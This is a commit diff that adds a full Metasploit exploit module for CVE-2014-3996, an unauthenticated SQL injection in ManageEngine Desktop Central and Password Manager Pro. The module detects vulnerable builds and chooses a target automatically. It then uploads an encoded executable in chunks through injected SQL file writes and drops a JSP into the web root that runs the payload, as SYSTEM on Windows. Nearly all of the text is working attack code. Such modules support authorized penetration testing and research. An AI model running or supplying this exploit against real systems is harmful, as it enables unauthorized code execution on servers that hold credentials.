Add exploit for CVE-2014-3996
parent
0c9dafff54
commit
da752b0134
|
@ -0,0 +1,557 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/file_dropper'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Password Manager Pro v6-v7 b7002 / Desktop Central v7-v9 b90033 SQL Injection",
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
|
||||
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
|
||||
Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
|
||||
SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
|
||||
the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
|
||||
or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
|
||||
with PostgreSQL you should find the web root path via other means and specify it with
|
||||
WEB_ROOT.
|
||||
|
||||
The injection is only exploitable via a GET request, which means that the payload
|
||||
has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
|
||||
payloads and the use of exe-small is recommended, as you can only do between 10 and
|
||||
20 injections before using up all the available ManagedConnections until the next
|
||||
server restart.
|
||||
|
||||
This vulnerability exists in all versions released since 2006, however builds below
|
||||
DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
|
||||
luck using the MySQL targets as a JDK might be installed in the $PATH.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-3996' ],
|
||||
[ 'OSVDB', '110198' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ]
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => %w{ linux win },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
|
||||
{
|
||||
'Web_root' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
|
||||
{
|
||||
'Web_root' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
|
||||
{
|
||||
'Web_root' => '../../webapps/DesktopCentral/',
|
||||
'Database' => 'mysql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
|
||||
{
|
||||
'Web_root' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
|
||||
{
|
||||
'Web_root' => '../../webapps/PassTrix/',
|
||||
'Database' => 'mysql',
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
|
||||
{
|
||||
'Web_root' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
|
||||
'Database' => 'postgresql',
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
|
||||
{
|
||||
'Web_root' => '../../webapps/PassTrix/',
|
||||
'Database' => 'mysql',
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false, # Privileged on Windows but not on Linux targets
|
||||
'DisclosureDate' => "Jun 8 2014"))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT',
|
||||
[true, 'The target port', 8020]),
|
||||
OptBool.new('SSL',
|
||||
[true, 'Use SSL', false]),
|
||||
OptInt.new('CHUNK_SIZE',
|
||||
[true, 'Number of characters to send per request (< 7800)', 7500]),
|
||||
OptInt.new('SLEEP',
|
||||
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
|
||||
OptBool.new('EXE_SMALL',
|
||||
[true, 'Use exe-small encoding for better reliability', true]),
|
||||
OptString.new('WEB_ROOT',
|
||||
[false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
# Test for Desktop Central
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("configurations.do"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
if res.body.to_s =~ /ManageEngine Desktop Central 7/ or
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
|
||||
# DC v7 uses the MySQL database
|
||||
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
|
||||
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8
|
||||
build = $1
|
||||
if build > "80200"
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build}")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
|
||||
end
|
||||
# DC v8 < 80200 uses the MySQL database
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or
|
||||
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
|
||||
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9
|
||||
build = $1
|
||||
print_status("#{peer} - Detected Desktop Central v9 #{build}")
|
||||
if build < "90039"
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Test for Password Manager Pro
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("PassTrixMain.cc"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and
|
||||
res.body.to_s =~ /ManageEngine Password Manager Pro/ and
|
||||
(res.body.to_s =~ /login\.css\?([0-9]+)/ or # PMP v6
|
||||
res.body.to_s =~ /login\.css\?version=([0-9]+)/ or # PMP v6
|
||||
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/) # PMP v7
|
||||
build = $1
|
||||
if build < "7003"
|
||||
if build < "6800"
|
||||
# PMP v6 < 6800 uses the MySQL database
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
|
||||
else
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
end
|
||||
if build >= "6500"
|
||||
# if it's a build below 6500, it will only work if we have a JSP compiler
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def pick_target
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
print_status("#{peer} - Selecting target, this might take a few seconds...")
|
||||
rand_txt = rand_text_alpha_lower(8) << ".txt"
|
||||
|
||||
# Test for Desktop Central
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("configurations.do"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central/
|
||||
if datastore['WEB_ROOT']
|
||||
postgresql_path = datastore['WEB_ROOT'].dup
|
||||
mysql_path = datastore['WEB_ROOT'].dup
|
||||
elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
|
||||
postgresql_path = targets[2]['Web_root'].dup
|
||||
mysql_path = targets[3]['Web_root'].dup
|
||||
else
|
||||
postgresql_path = targets[1]['Web_root'].dup
|
||||
mysql_path = targets[3]['Web_root'].dup
|
||||
end
|
||||
else
|
||||
# Test for Password Manager Pro
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("PassTrixMain.cc"),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Password Manager Pro/
|
||||
if datastore['WEB_ROOT']
|
||||
postgresql_path = datastore['WEB_ROOT'].dup
|
||||
mysql_path = datastore['WEB_ROOT'].dup
|
||||
else
|
||||
postgresql_path = targets[4]['Web_root'].dup
|
||||
mysql_path = targets[5]['Web_root'].dup
|
||||
end
|
||||
else
|
||||
# We don't know what this is, bail
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# try MySQL first, there are probably more of these out there
|
||||
filepath = mysql_path << rand_txt
|
||||
|
||||
# @@version_compile_os will give us Win32 / Win64 if it's a Windows target
|
||||
inject_sql("select @@version_compile_os into dumpfile '#{filepath}'", "mysql")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(rand_txt),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
register_file_for_cleanup(filepath.sub('../',''))
|
||||
if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
|
||||
if mysql_path =~ /DesktopCentral/
|
||||
# Desktop Central [MSP] / MySQL / Windows
|
||||
return targets[3]
|
||||
else
|
||||
# Password Manager Pro / MySQL / Windows
|
||||
return targets[5]
|
||||
end
|
||||
else
|
||||
# Password Manager Pro / MySQL / Linux
|
||||
return targets[7]
|
||||
end
|
||||
end
|
||||
|
||||
# didn't work, let's try PostgreSQL
|
||||
filepath = postgresql_path << rand_txt
|
||||
|
||||
# version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
|
||||
inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(rand_txt),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
register_file_for_cleanup(filepath)
|
||||
if res.body.to_s =~ /Visual C++/
|
||||
if postgresql_path =~ /DesktopCentral_Server/
|
||||
# Desktop Central / PostgreSQL / Windows
|
||||
return targets[1]
|
||||
elsif postgresql_path =~ /DesktopCentralMSP_Server/
|
||||
# Desktop Central MSP / PostgreSQL / Windows
|
||||
return targets[2]
|
||||
else
|
||||
# Password Manager Pro / PostgreSQL / Windows
|
||||
return targets[4]
|
||||
end
|
||||
elsif res.body.to_s =~ /linux/
|
||||
# This is for the case when WEB_ROOT is provided
|
||||
# Password Manager Pro / PostgreSQL / Linux
|
||||
return targets[6]
|
||||
end
|
||||
else
|
||||
# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
|
||||
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
|
||||
filepath = targets[5]['Web_root'].dup << rand_txt
|
||||
inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(rand_txt),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /linux/
|
||||
# Password Manager Pro / PostgreSQL / Linux
|
||||
return targets[6]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Creates the JSP that will assemble the payload on the server
|
||||
#
|
||||
def generate_jsp_encoded(files)
|
||||
native_payload_name = rand_text_alpha(rand(6)+3)
|
||||
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
|
||||
|
||||
var_raw = rand_text_alpha(rand(8) + 3)
|
||||
var_ostream = rand_text_alpha(rand(8) + 3)
|
||||
var_buf = rand_text_alpha(rand(8) + 3)
|
||||
var_decoder = rand_text_alpha(rand(8) + 3)
|
||||
var_tmp = rand_text_alpha(rand(8) + 3)
|
||||
var_path = rand_text_alpha(rand(8) + 3)
|
||||
var_proc2 = rand_text_alpha(rand(8) + 3)
|
||||
var_files = rand_text_alpha(rand(8) + 3)
|
||||
var_ch = rand_text_alpha(rand(8) + 3)
|
||||
var_istream = rand_text_alpha(rand(8) + 3)
|
||||
var_file = rand_text_alpha(rand(8) + 3)
|
||||
|
||||
files_decl = "{ "
|
||||
files.each { |file| files_decl << "\"#{file}\"," }
|
||||
files_decl[-1] = "}"
|
||||
|
||||
if @my_target['Platform'] == 'linux'
|
||||
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
chmod = %Q|
|
||||
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
|
||||
Thread.sleep(200);
|
||||
|
|
||||
|
||||
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
|
||||
cleanup = %Q|
|
||||
Thread.sleep(200);
|
||||
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
||||
|
|
||||
else
|
||||
chmod = ''
|
||||
cleanup = ''
|
||||
end
|
||||
|
||||
jsp = %Q|
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
<%
|
||||
String[] #{var_files} = #{files_decl};
|
||||
try {
|
||||
int #{var_ch};
|
||||
StringBuilder #{var_buf} = new StringBuilder();
|
||||
for (String #{var_file} : #{var_files}) {
|
||||
BufferedInputStream #{var_istream} =
|
||||
new BufferedInputStream(new FileInputStream(#{var_file}));
|
||||
while((#{var_ch} = #{var_istream}.read())!= -1)
|
||||
#{var_buf}.append((char)#{var_ch});
|
||||
#{var_istream}.close();
|
||||
}
|
||||
|
||||
BASE64Decoder #{var_decoder} = new BASE64Decoder();
|
||||
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
|
||||
|
||||
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
|
||||
String #{var_path} = #{var_tmp}.getAbsolutePath();
|
||||
|
||||
BufferedOutputStream #{var_ostream} =
|
||||
new BufferedOutputStream(new FileOutputStream(#{var_path}));
|
||||
#{var_ostream}.write(#{var_raw});
|
||||
#{var_ostream}.close();
|
||||
#{chmod}
|
||||
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
|
||||
#{cleanup}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
%>
|
||||
|
|
||||
|
||||
jsp = jsp.gsub(/\n/, '')
|
||||
jsp = jsp.gsub(/\t/, '')
|
||||
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
# Ruby's base64 encoding adds newlines at every 60 chars, strip them
|
||||
[jsp].pack("m*").gsub(/\n/, '')
|
||||
else
|
||||
# Assuming mysql, applying hex encoding instead
|
||||
jsp.unpack("H*")[0]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def inject_sql(sqli_command, target = nil)
|
||||
target = (target == nil) ? @my_target['Database'] : target
|
||||
if target == 'postgresql'
|
||||
sqli_prefix = "viewname\";"
|
||||
sqli_suffix = ";-- "
|
||||
else
|
||||
# Assuming mysql
|
||||
sqli_prefix = "viewname\" union "
|
||||
sqli_suffix = "#"
|
||||
end
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("LinkViewFetchServlet.dat"),
|
||||
'vars_get' => {
|
||||
'sv' => sqli_prefix << sqli_command << sqli_suffix
|
||||
}
|
||||
})
|
||||
|
||||
if target == 'postgresql'
|
||||
# PostgreSQL sometimes takes a while to write to the disk, so sleep more
|
||||
sleep(datastore['SLEEP'] * 2.5)
|
||||
else
|
||||
# Assuming mysql
|
||||
sleep(datastore['SLEEP'])
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the actual payload
|
||||
#
|
||||
def generate_exe_payload
|
||||
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
|
||||
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
|
||||
if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win'
|
||||
exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform,
|
||||
payload.encoded, "exe-small", opts)
|
||||
else
|
||||
exe = generate_payload_exe(opts)
|
||||
end
|
||||
Rex::Text.encode_base64(exe)
|
||||
end
|
||||
|
||||
#
|
||||
# Uploads the payload in chunks and then calls the JSP that will assemble them
|
||||
# (runs the actual exploit).
|
||||
#
|
||||
def inject_exec(jsp_name, fullpath)
|
||||
base64_exe = generate_exe_payload
|
||||
base64_exe_len = base64_exe.length
|
||||
|
||||
# We will be injecting in CHUNK_SIZE steps
|
||||
chunk_size = datastore['CHUNK_SIZE']
|
||||
copied = 0
|
||||
counter = 0
|
||||
if base64_exe_len < chunk_size
|
||||
chunk_size = base64_exe_len
|
||||
end
|
||||
chunks = (base64_exe_len.to_f / chunk_size).ceil
|
||||
time = chunks * datastore['SLEEP'] *
|
||||
((@my_target['Database'] == 'postgresql') ? 2.5 : 1)
|
||||
|
||||
# We dump our files in either C:\Windows\system32 or /tmp
|
||||
# It's not very clean, but when using a MySQL target we have no other choice
|
||||
# as we are using relative paths for injection.
|
||||
# The Windows path has to be escaped with 4 backslashes because ruby eats one
|
||||
# and the JSP eats the other.
|
||||
files = Array.new(chunks)
|
||||
files.map! {
|
||||
|file|
|
||||
if @my_target['Platform'] == 'win'
|
||||
file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
|
||||
else
|
||||
# Assuming Linux, let's hope we can write to /tmp
|
||||
file = "/tmp/" + rand_text_alpha(rand(8)+3)
|
||||
end
|
||||
}
|
||||
|
||||
print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks}" +
|
||||
" chunks in #{time} seconds")
|
||||
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
|
||||
else
|
||||
# Assuming mysql
|
||||
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile" +
|
||||
" '#{files[counter]}'")
|
||||
end
|
||||
register_file_for_cleanup(files[counter])
|
||||
copied += chunk_size
|
||||
counter += 1
|
||||
|
||||
while copied < base64_exe_len
|
||||
if (copied + chunk_size) > base64_exe_len
|
||||
# Last loop
|
||||
chunk_size = base64_exe_len - copied
|
||||
end
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to " +
|
||||
"'#{files[counter]}'")
|
||||
else
|
||||
# Assuming mysql
|
||||
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into " +
|
||||
"dumpfile '#{files[counter]}'")
|
||||
end
|
||||
register_file_for_cleanup(files[counter])
|
||||
copied += chunk_size
|
||||
counter += 1
|
||||
end
|
||||
|
||||
jsp_encoded = generate_jsp_encoded(files)
|
||||
if @my_target['Database'] == 'postgresql'
|
||||
inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8'))" +
|
||||
" to '#{fullpath}'")
|
||||
else
|
||||
inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
|
||||
end
|
||||
print_status("#{peer} - Requesting #{jsp_name}")
|
||||
send_request_raw({'uri' => normalize_uri(jsp_name)})
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
@my_target = pick_target
|
||||
if @my_target.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
|
||||
else
|
||||
print_status("#{peer} - Selected target #{@my_target.name}")
|
||||
end
|
||||
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
|
||||
# Fail if this is the case to avoid polluting the web root any more.
|
||||
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
|
||||
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
|
||||
end
|
||||
|
||||
if datastore['WEB_ROOT']
|
||||
web_root = datastore['WEB_ROOT']
|
||||
else
|
||||
web_root = @my_target['Web_root']
|
||||
end
|
||||
|
||||
jsp_name = rand_text_alpha_lower(8) + ".jsp"
|
||||
fullpath = web_root + jsp_name
|
||||
register_file_for_cleanup(fullpath.sub('../',''))
|
||||
|
||||
inject_exec(jsp_name, fullpath)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue